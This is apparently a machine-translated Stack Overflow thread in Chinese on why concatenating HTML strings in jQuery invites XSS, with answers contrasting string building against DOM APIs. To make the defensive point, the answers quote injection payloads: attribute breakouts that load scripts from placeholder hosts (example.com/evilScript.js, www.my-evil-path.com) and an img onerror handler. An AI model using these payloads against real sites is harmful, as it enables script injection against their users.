托管我们网站的公司在部署之前会审核我们的代码 - 他们最近告诉我们这个:
不应该直接操纵HTML字符串,因为这会打开我们 潜在的XSS漏洞。相反,始终使用DOM api来创建 元素......可以是jQuery或直接的DOM apis。
例如,而不是
this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );
他们告诉我们要做
var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );
这是真的吗?任何人都可以给我们一个XSS攻击的例子,它可以像第一个那样利用HTML字符串吗?
答案 0 :(得分:66)
如果以某种方式修改this.au
,它可能包含以下内容:
"><script src="http://example.com/evilScript.js"></script><span class="
这会弄乱你的HTML并注入一个脚本:
<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>
如果使用DOM操作来设置src
属性,则不会执行脚本(或您使用的任何其他XSS),因为它将被DOM API正确转义。
回应一些评论员说如果有人可以修改this.au
,他们肯定可以自己运行脚本:我不知道this.au
来自哪里,也不知道特别相关。它可能是数据库中的值,并且数据库可能已被泄露。它也可能是恶意用户试图搞砸其他用户。它甚至可能是一个无辜的非技术人员,他没有意识到写作"def" > "abc"
会破坏事物。
还有一件事。在您提供的代码中,var quizAuLink = $( 'a' );
不会创建新的<a>
元素。它只会选择所有现有的。您需要使用var quizAuLink = $( '<a>' );
创建一个新的。
答案 1 :(得分:14)
这应该同样安全,不会过多地影响可读性:
var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);
重点是避免进行字符串操作来构建HTML字符串。请注意,在上面,我只使用$()
来解析一个常量字符串,该字符串解析为一个众所周知的结果。在此示例中,只有this.au
部分是危险的,因为它可能包含动态计算的值。
答案 2 :(得分:12)
由于您无法使用.innerHTML
在现代浏览器中注入脚本标记,因此您需要收听事件:
如果以某种方式修改this.au
,它可能包含以下内容:
"><img src="broken-path.png" onerror="alert('my injection');"><span class="
这会弄乱你的HTML并注入一个脚本:
<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>
因为要将更大的JavaScript集块运行到:
var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);
感谢Scimoster的样板
答案 3 :(得分:1)
除了安全性,当您在JavaScript中构建HTML时,您必须确保它是有效的。虽然可以通过字符串操作*来构建和清理HTML,但DOM操作更方便。但是,您必须确切地知道字符串的哪个部分是HTML,哪个是文字文本。
考虑以下示例,其中我们有两个硬编码变量:
var href = "/detail?tag=hr©%5B%5D=1",
text = "The HTML <hr> tag";
以下代码天真地构建HTML字符串:
var div = document.createElement("div");
div.innerHTML = '<a href="' + href + '">' + text + '</a>';
console.log(div.innerHTML);
// <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>
这使用jQuery但它仍然不正确(它在变量上使用.html()
应该是文本):
var div = document.createElement("div");
$("<a></a>").attr("href", href).html(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&copy%5B%5D=1">The HTML <hr> tag</a>
这是正确的,因为它会按预期显示文字:
var div = document.createElement("div");
$("<a></a>").attr("href", href).text(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&copy%5B%5D=1">The HTML <hr> tag</a>
结论:使用DOM操作/ jQuery不保证任何安全性,但它肯定是正确方向的一步。
*请参阅this question for examples。讨论了字符串和DOM操作。